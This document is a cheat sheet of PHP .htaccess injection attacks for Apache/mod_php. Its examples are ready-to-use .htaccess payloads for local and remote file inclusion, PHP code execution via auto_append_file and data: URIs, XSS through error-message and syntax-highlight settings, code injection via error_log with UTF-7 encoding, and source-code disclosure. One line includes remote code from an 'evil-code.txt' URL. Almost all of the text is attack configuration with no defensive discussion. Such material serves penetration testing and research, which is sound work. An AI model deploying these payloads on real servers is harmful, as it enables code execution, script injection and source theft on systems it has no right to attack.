PHP htaccess injection cheat sheet

Scenario

In a setup of Apache/mod_php an attacker is able to inject .htaccess (or php.ini or apache configuration). The injection directory has AllowOverride Options set (or AllowOverride All, which is very common as well).

Examples

Example 1a: file inclusion

index.php: (empty)

.htaccess:

php_value auto_append_file /etc/hosts

Example 1b: PHP code execution

index.php: (empty)

.htaccess:

php_value auto_append_file .htaccess
#<?php phpinfo();

Example 1c: (direct/remote) file inclusion

.htaccess:

php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt

Example 2a: XSS via error message link

index.php: (produces error message)

<?php
include('foo');

.htaccess:

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

Example 2b: XSS via error message link extension

index.php:

<?php
include('foo');

.htaccess:

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "x"
php_value docref_ext "<script>alert(1);</script>"

Example 3a: XSS via phps color

Assumtion: phps source handler is activated.

<FilesMatch ".+\.phps$">
	SetHandler application/x-httpd-php-source
	Order Allow,Deny
	Allow from all
</FilesMatch>

index.phps:

<?php
test();
// comment
?>
text

.htaccess:

php_value highlight.comment '"><script>alert(1);</script>'

Example 3b: XSS via highlight_file() color

index.php:

<?php
highlight_file(__FILE__);
// comment

.htaccess:

php_value highlight.comment '"><script>alert(1);</script>'

Example 4a: failed PHP injection via error_log and include_path

In this example PHP correctly encodes HTML entities in log messages. The injection fails.

index.php:

<?php include('foo');

.htaccess:

php_value error_log /var/www/ex4a/foo.php
php_value include_path "<?php phpinfo(); __halt_compiler();"

Example 4b: failed PHP injection via error_log and auto_prepend_file

index.php: (empty)

.htaccess:

php_value error_log /var/www/ipc/ex4b/foo.php
php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"

Example 4c: PHP code injection via error_log and UTF-7

index.php: (empty)

.htaccess:

php_value error_log /var/www/ipc/ex4c/foo.php
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

Example 6: Source code disclosure

index.php:

<?php some_code();

.htaccess:

php_flag engine 0